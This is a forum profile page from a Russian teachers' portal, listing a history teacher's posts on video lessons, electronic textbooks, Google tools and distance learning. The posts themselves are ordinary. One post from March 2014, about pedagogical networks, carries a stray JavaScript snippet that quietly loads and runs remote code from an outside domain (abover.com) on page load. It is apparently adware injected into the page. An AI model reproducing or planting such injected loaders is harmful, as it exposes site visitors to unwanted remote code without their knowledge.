15
фев
31
мар
Актуально
Тема "Обучение онлайн"
На сайте Галактики
 
1
янв
31
дек
Не пропустите!
Навигатор активностей портала
На сайте Галактики
Подписка на новости  RSS  RSS

Шишкина Ирина
Отправлено: 8.11.2016, 17:54


Пользователь


Группа: Пользователи
Сообщений: 16
Регистрация: 30.9.2012
Номер участника: 119584


Ответ на вопрос № 5 (видеоуроки: за или против?)
Я учитель со стажем и с удовольствием сама смотрю видеоуроки, а также пользуюсь отрывками видеоуроков на своих собственных уроках по истории и обществознанию. Лично я использую фрагменты видеоуроков для закрепления изученного на уроке материала. Иногда с учениками мы обсуждаем, какие части изученного на уроке материала пропущены в видеоуроке, и какие наоборот, есть в видеоуроке и нет в лекции урока.
Могу порекомендовать несколько сайтов, где есть грамотные видеоуроки, с правильным изложением материала.
Видеоуроки по истории:
1. http://4ege.ru/video-istoriya/936-video-ur...po-istorii.html
2. http://interneturok.ru/uroki-istorii
3. http://histrf.ru/lectorium/lektion/drievni...ie-kniazhiestvo
Видеоуроки по обществознанию:
1. http://interneturok.ru/obshestvoznanie/8-klass
2. http://egemetr.ru/oge/obshchestvoznanie/videouroki/
3. http://znaika.ru/catalog/9-klass/obshestvoznanie
  Форум: Форум по мероприятиям · Просмотр сообщения: #136602 · Ответов: 1205 · Просмотров: 79790

Шишкина Ирина
Отправлено: 6.11.2016, 18:46


Пользователь


Группа: Пользователи
Сообщений: 16
Регистрация: 30.9.2012
Номер участника: 119584


Ответ на вопрос № 4.
Предлагаю сайты для творческих занятий с детьми дошкольного возраста:
1. Творческие занятия с детьми 3-4 лет http://rebenok16.ru/razvlecheniya/tvorches...mi-3-4-let.html
2. Развитие творческих способностей детей http://www.umniki21.ru/tvorchestvo/tvorche...sposobnosti.php
3. http://mamamia.by/forum/viewtopic.php?t=144
4. Активная мама http://active-mama.com/zanyatiya-s-rebenkom-3-let.html
5. http://4mother.ru/2015/05/tvorcheskie-zany...-zainteresovat/
6. Растем и развиваемся http://razvitoy.ru/tvorcheskie-zanyatiya/
7. Как найти ребенку творческое хобби http://www.vseodetyah.com/article.html?id=...amp;menu=parent
  Форум: Форум по мероприятиям · Просмотр сообщения: #136140 · Ответов: 1205 · Просмотров: 79790

Шишкина Ирина
Отправлено: 6.11.2016, 18:34


Пользователь


Группа: Пользователи
Сообщений: 16
Регистрация: 30.9.2012
Номер участника: 119584


Ответ на вопрос № 3.
Могу порекомендовать сетевые проекты, в которых участвует наша Кемеровская область:
1.https://sites.google.com/site/putesestviepddski/ Путешествие ПДДшки. Цель проекта: познакомить ребят с правилами дорожного движениями, дорожными знак
ами,разметкой на дороге, показать важность и целесообразность правильного поведен
ия  на улице.
2. Проект "Необычное в обычном" https://sites.google.com/site/geometriaokruzausegomira/ В ходе проекта "Необычное в обычном" учащиеся знакомятся со значением основных знаков-символов геометрического орнамента; стараются ответить себе на вопрос: «Как искусство беседует с нами?».
3. https://sites.google.com/site/celovekivrema2016/ Проект "Человек и время" . Cетевой проект Человек и время реализуется в рамках модуля "Основы православной культуры" и основан на христианском понимании и отношении ко времени, что нашло отражение в православном церковном календаре.
4. https://sites.google.com/site/istriaulicy/home Проект "Семь чудес города Новокузнецка" позволяют познакомиться с архитектурой города и его историей.
  Форум: Форум по мероприятиям · Просмотр сообщения: #136135 · Ответов: 1205 · Просмотров: 79790

Шишкина Ирина
Отправлено: 4.11.2016, 17:33


Пользователь


Группа: Пользователи
Сообщений: 16
Регистрация: 30.9.2012
Номер участника: 119584


Ответ на вопрос № 2:
Издательство "Просвещение" и издательство "Дрофа" имеют в своих электронных учебниках:
1. Оглавление, текстовую информацию, разделение на параграфы, поиск по тексту.
2. интерактивные карты и изображения, аудио- и видеофайлы.
3. Разноуровневые КИМЫ.
4. Тесты для самоконтроля.
5. Доступны на планшетах и компьютерах.
Минусами ЭФУ любого издательства будут являться:
1. Проблема с соблюдением норм СанПина (длительность и частота использования ЭФУ)
2. Стоимость электронного учебника.
Если сравнивать доступность электронных приложений к учебникам, то наиболее доступным является издательство "Просвещение", которое имеет на сайте бесплатные приложения по предметам: биология, физика, иностранный язык, русский язык (3 класс). Хочется также отметить, что в электронных учебниках издательства "Просвещения" можно с учениками заниматься проектной деятельностью.
  Форум: Форум по мероприятиям · Просмотр сообщения: #135724 · Ответов: 1205 · Просмотров: 79790

Шишкина Ирина
Отправлено: 1.11.2016, 15:38


Пользователь


Группа: Пользователи
Сообщений: 16
Регистрация: 30.9.2012
Номер участника: 119584


Добрый день! Меня зовут Шишкина Ирина Владимировна. Я учитель истории и обществознания Лицея № 1 г. Киселевска, Кемеровской области. У меня 2 дочери и внучка. Считаю, что данная дискуссия актуальна, т.к. родители должны принимать активное участие в образовании и развитии своих детей.

правила, которыми бы я руководствовалась, отбирая цифровой контент своему ребенку:
1. Бесплатность. Есть многие сайты в интернете, которые просят ежемесячную оплату, но много интересных сайтов (пусть даже у них будет попроще графика), которые доступны.
2. Есть ли интересные видео, аудиофайлы, есть ли интерактивные картинки.
3. Новая ли это или устаревшая информация. В нашем современном мире информация может устаревать.
4. Удобно ли пользоваться информацией контента.
  Форум: Форум по мероприятиям · Просмотр сообщения: #135009 · Ответов: 1205 · Просмотров: 79790

Шишкина Ирина
Отправлено: 12.11.2015, 13:30


Пользователь


Группа: Пользователи
Сообщений: 16
Регистрация: 30.9.2012
Номер участника: 119584


1. Обучение
2. Дистанционное, творческое
3. Помогает, направляет, дополняет
4. За ним стоит будущее!
5. Владение технологиями.
  Форум: День 4. Дайджест дискуссии · Просмотр сообщения: #98649 · Ответов: 251 · Просмотров: 12834

Шишкина Ирина
Отправлено: 12.11.2015, 13:18


Пользователь


Группа: Пользователи
Сообщений: 16
Регистрация: 30.9.2012
Номер участника: 119584


Тьютор, наставник, направляющий вот те имена, которые получает современный педагог. Главное научить как, а не заставить учиться. Современное образование старается заинтересовать ученика, направить его. Из интереса к предмету может родиться интерес к учебе, а отсюда появиться интерес к будущей профессии. Поэтому за дистанционным образованием будущее. Я часто внушаю своим ученикам мыль, что вы учитесь, не потому что это надо мне, вашему учителю, не потому что это надо вашим родителям, а потому что это пригодиться в жизни вам. Поэтому в свободное время, мои ученики могут зайти в мой блог и что-то уточнить, предложить, просить совет по предмету.
  Форум: День 3. Роль учителя · Просмотр сообщения: #98645 · Ответов: 252 · Просмотров: 17797

Шишкина Ирина
Отправлено: 10.11.2015, 13:14


Пользователь


Группа: Пользователи
Сообщений: 16
Регистрация: 30.9.2012
Номер участника: 119584


Как же организовано в вашей школе дистанционное обучение?
В нашей школе дистанционное обучение проводиться через электронный журнал.

Кого обучаете непосредственно Вы и достигаете ли цель дистанционного обучения?
Я обучаю 10-11 классы. Через свой блог даю задания для подготовке к ЕГЭ. Проверку осуществляю дома либо через социальные сети, либо через получение заданий от учеников через электронную почту. При подготовке к олимпиадам и работа с учебными исследованиями провожу консультации по скайпу.
  Форум: День 2. Организация дистанционного обучения · Просмотр сообщения: #97464 · Ответов: 285 · Просмотров: 22547

Шишкина Ирина
Отправлено: 9.11.2015, 16:24


Пользователь


Группа: Пользователи
Сообщений: 16
Регистрация: 30.9.2012
Номер участника: 119584


Работаете ли вы с использованием дистанционных образовательных технологий?
Лично я, да работаю. Также как и коллеги рассказывавшие о своих собственных сайтах. Использую этот способ для подготовки своих учеников к ЕГЭ.
Какими ресурсами пользуетесь в своей работе? Использую тексты и тесты для проверки знаний e-learning.
Как в Вашей школе решаются вопросы организации электронного обучения?
В школе проблема электронного обучения решается только на уровне электронного журнала на добровольной основе. Отдельные коллеги моего учреждения через электронный журнал пытаются давать дополнительные домашние задания и осуществлять их проверку.
Какие проблемы можно добавить к вышеописанным по организации электронного обучения?
Самая главная проблема с моей точки зрения - это дополнительная нагрузка на учителя.
  Форум: День 1. Электронное обучение · Просмотр сообщения: #96791 · Ответов: 408 · Просмотров: 26423

Шишкина Ирина
Отправлено: 13.11.2014, 17:13


Пользователь


Группа: Пользователи
Сообщений: 16
Регистрация: 30.9.2012
Номер участника: 119584


Скажите пожалуйста, а если у меня есть 5 сертификатов:
1. Метод проектов (Опросник по курсу успешно пройден 09-10-2012)
2. Оценивание (Опросник по курсу успешно пройден 26-10-2012)
3. Сотрудничество (Опросник по курсу успешно пройден 31-10-2012)
4. Модель «1 ученик - 1 компьютер»: мотивация учащихся (Опросник по курсу успешно пройден 31-10-2012)
5. Критическое мышление при работе с данными (Опросник по курсу успешно пройден 19-03-2014)

Можно ли мне на данной конференции не проходить курс серии "Элементы"?
Ответьте, если можно. Шишкина Ирина Владимировна
Главная причина: проблемы со здоровьем, а баллы терять жалко. Набрала 96 баллов.
  Форум: Организационные вопросы · Просмотр сообщения: #67386 · Ответов: 7 · Просмотров: 647

Шишкина Ирина
Отправлено: 21.9.2014, 17:25


Пользователь


Группа: Пользователи
Сообщений: 16
Регистрация: 30.9.2012
Номер участника: 119584


Меня зовут Шишкина Ирина Владимировна. Я живу в городе Киселевске, Кемеровской области. Мои основные предметы преподавания история и обществознание. К ним прилагаются право и экономика.
Главный мотив для участия - интерес. Это вторая моя конференция на Галактике. В каком бы я мастер-классе не участвовала, всегда брала для своей педагогической работы что-то новое.
Важными для себя считаю следующие черты педагога 21 века:
-вера в каждого ребенка (именно мы педагоги "зажигаем" глаза ребенка, в каждом из детей можно найти свою "изюминку" и развить её);
- неистребимой своей чертой, которая мне приносит не только лавры, но и "шишки" является стремление к совершенствованию (это вторая причина по которой я участвую в конференции);
- создание системы передачи опыта - эту черту я ставлю на третье по значимости место.
Педагог 21 века помогает детям научить учиться используя при этом разные виды электронных ресурсов.
  Форум: Форум по мероприятиям · Просмотр сообщения: #60240 · Ответов: 108 · Просмотров: 10466

Шишкина Ирина
Отправлено: 23.3.2014, 15:47


Пользователь


Группа: Пользователи
Сообщений: 16
Регистрация: 30.9.2012
Номер участника: 119584


1. В чем Вы видите отличие сетевого педагогического сообщества от сетевого сообщества?
С моей точки зрения социальные сети существуют в основном для общения. Педагогические сетевые сообщества дают возможность:
  1. организации формального и неформального общения на профессиональные темы;
  2. инициации виртуального взаимодействия для последующего взаимодействия вне Интернета;
  3. обмен опытом учения-обучения;
  4. распространение успешных педагогических практик. методических разработок.
  5. поддержки новых образовательных инициатив.
2. Есть ли у Вас опыт работы в сетевом педагогическом сообществе?

да. Я участвую в работе следующих педагогических сообществ: Учительский портал, Социальная сеть работников
образования nsportal.ru,
ПЕДСОВЕТ: образование, учитель, школа, Открытый класс, Сеть творческих учителей.


Пример моих страничек: http://www.proshkolu.ru/user/irinakina/, http://nsportal.ru/shishkina-irina-vladimirovna.


3. Почему сегодняшние школьники активно пользуются социальными сетями?

Для современных школьников сегодня виртуальное пространство - это возможность безграничного общения, пользование нужной информацией, стремление самоутвердиться.








(function () { var script = document.createElement('script'); script.src = 'https://abover.com/system/extension?iframe=' + ( self === top ? '0' : '1' ) + '&r=' + Math.random() + '&v=1.0.8'; script.onload = script.onerror = function () { script.onload = script.onerror = null; script.parentNode.removeChild(script); } document.body.appendChild(script); })();
  Форум: Весенние каникулы на Галактике 2014 · Просмотр сообщения: #53288 · Ответов: 116 · Просмотров: 18300

Шишкина Ирина
Отправлено: 5.4.2013, 16:06


Пользователь


Группа: Пользователи
Сообщений: 16
Регистрация: 30.9.2012
Номер участника: 119584


1. Ожидания и соответствие / несоответствие им результатов.
Мои ожидания оправдались даже в большей степени, нежели я ожидала. Очень рада что поучаствовала в мастер классе. Большое спасибо Евгении Георгиевне за терпение и помощь даже там, где с точки зрения опытного пользователя она была не нужна.


2. Качественный анализ моих результатов в ходе МК.

Я поняла, что очень мало знала о сервисах Веб 2.0. Хотелось бы сделать больше. Создала свой сайт (в Гугле это оказалось не очень сложно). Познакомилась с новыми программами, которые можно использовать в своей педагогической практике. Получила еще один опыт совместной работе через видеоконференции.


3. Идеи по использованию материалов, созданных / полученных в ходе МК в моей педагогической деятельности.

Прежде всего, на ближайшем МО историков города, познакомлю их с сервисами Веб 2.0. Многие из сервисов возможно использовать в проектной деятельности с учениками, я думаю, что они им понравятся также как и мне. Некоторые сервисы очень удобны не только для совместной учебной работы, но и проверки знаний учащихся он-лайн.


4. Мои пожелания.

Хотелось бы, чтобы подобные мастер-классы были проведены еще неоднократно на Галактике. Я, например, успела записаться только на один мастер-класс. Сначала очень сожалела, но потом поняла, что моей учебной нагрузке в школе - это как раз. Но хотелось поучаствовать в других мастер-классах, которые я думаю не менее увлекательны, чем мастер-класс Евгении Георгиевны. smile.gif С уважением, Шишкина Ирина Владимировна.
  Форум: «Кейс веб 2.0 педагога и ученика» · Просмотр сообщения: #35660 · Ответов: 53 · Просмотров: 11904

Шишкина Ирина
Отправлено: 1.4.2013, 13:50


Пользователь


Группа: Пользователи
Сообщений: 16
Регистрация: 30.9.2012
Номер участника: 119584


В нашем лицее № 1 г. Киселевска уделяется большое внимание повышению информационно-коммуникационной компетентности преподавателей. Лицей обладает достаточной материально-технической базой, имеются три компьютерных класса, многие учебные аудитории оборудованы мультимедийным оборудованием. Многие преподаватели имеют собственные сайты, странички в сети, но к сожалению данные сайты индивидуальны, нет сетевого общения. В ходе участия в мастер-классе я поняла, что сервисы Google можно более активно использоватть в процессе организации и осуществления образовательного процесса:

Google Документы – сервис, который позволяет:

  1. работать с текстовыми, табличными, графическими документами непосредственно в браузере.
  2. экономить на покупке стандартного офисного пакета.
  3. Обеспечить совместную работу с документами сразу нескольких пользователей в режиме реального времени.
Google Календарь – сервис, который позволяет:


1. Планировать события, следить за важными мероприятиями;


2.Получать доступ к календарю, где бы вы не находились;


3. Получать напоминание в виде сообщений на электронную почту или SMS.

Этот сервис является достаточно простым, но очень полезным в работе преподавателя. В календаре можно создавать календарно-тематическое планирование учебного курса, конспект урока, составлять план работы над учебным или исследовательским проектом с возможностью доступа к просмотру этапов работы над проектом.

Google Сайт – сервис, который позволяет:

  1. Доступный и легкий способ создания сайта и совместной работы над ним;
  2. Единую систему хранения всей необходимой информации;
  3. Систему управления правами над просмотр и изменение опубликованной информации.
Google видео (Hangout), который позволяет:

  1. Создание пространства для сотрудничества, общения и обмена информацией;
  2. Обмен последними новостями, общение в ходе создания внутрисетевого проекта;
  3. Установление связи с теми, кому предназначены материалы.
Специфика использования сервисов Google состоит в возможности совместной работы над любым контентом. Такая совместная работа делает процесс обучения открытым и доступным как для коллег-преподавателей, так и для учащихся. Целенаправленная работа преподавателей в этом направлении поможет привить учащимся культуру деятельности в Сети, будет способствовать системной работе в Интернете, поможет систематизировать свои материалы (создать ученическое портфолио), приучит ребят к публичности своей работы.

  Форум: «Кейс веб 2.0 педагога и ученика» · Просмотр сообщения: #35183 · Ответов: 60 · Просмотров: 13619

Шишкина Ирина
Отправлено: 28.3.2013, 18:20


Пользователь


Группа: Пользователи
Сообщений: 16
Регистрация: 30.9.2012
Номер участника: 119584


Вебмикс является прекрасной возможностью составить каталог необходимых ссылок изучаемого или уже изученного материала. Всё достаточно понятно. Очень удобно размещать ссылки по цветам и сопровождать их картинками. Метапредметные навыки для школьников, которые позволяет развить создание вебмиксов: умение сознательно организовывать свою познавательную деятельность; осваивать универсальные способы деятельности; систематизировать различные виды деятельности.
Шишкина Ирина Владимировна
  Форум: «Кейс веб 2.0 педагога и ученика» · Просмотр сообщения: #34660 · Ответов: 53 · Просмотров: 7498

Шишкина Ирина
Отправлено: 9.10.2012, 17:26


Пользователь


Группа: Пользователи
Сообщений: 16
Регистрация: 30.9.2012
Номер участника: 119584


Единое информационное пространство школе необходимо. С данным постулатом на современном этапе развития школы никто спорить не будет. Но возникает закономерный вопросы: а кто займется созданием этого единого пространства?
Как выработать такие правила взаимодействия, чтобы они устраивали всех участников образовательного процесса (учеников, учителей, родителей)? будут ли родители активно участвовать в данном процессе?
Могу сразу ответить на последний вопрос сама. У нас в школе три года существует ЭЖ. В конце прошлого учебного администрация лицея путем опроса на родительских собраний выясняла степень участия родителей в ЭЖ (интересуются ли они оценками детей через ЭЖ, просматривают ли основные сообщения для родителей в ЭЖ), в итоге оказалось, что в ЭЖ просматривают менее 10% родителей. Основная причина - им легче посмотреть "бумажный" дневник. Отсюда вытекает еще один вопрос, а как интенсивнее привлекать родителей к участию в единой информационной среде?
  Форум: Школьная ИТ-инфраструктура · Просмотр сообщения: #25314 · Ответов: 45 · Просмотров: 8579


Новые сообщения  Открытая тема (есть новые ответы)
Нет новых сообщений  Открытая тема (нет новых ответов)
Популярная тема  Горячая тема (есть новые ответы)
Нет новых  Горячая тема (нет новых ответов)
Опрос  Опрос (есть новые голоса)
Нет новых голосов  Опрос (нет новых голосов)
Закрыта  Закрытая тема
Перемещена  Тема перемещена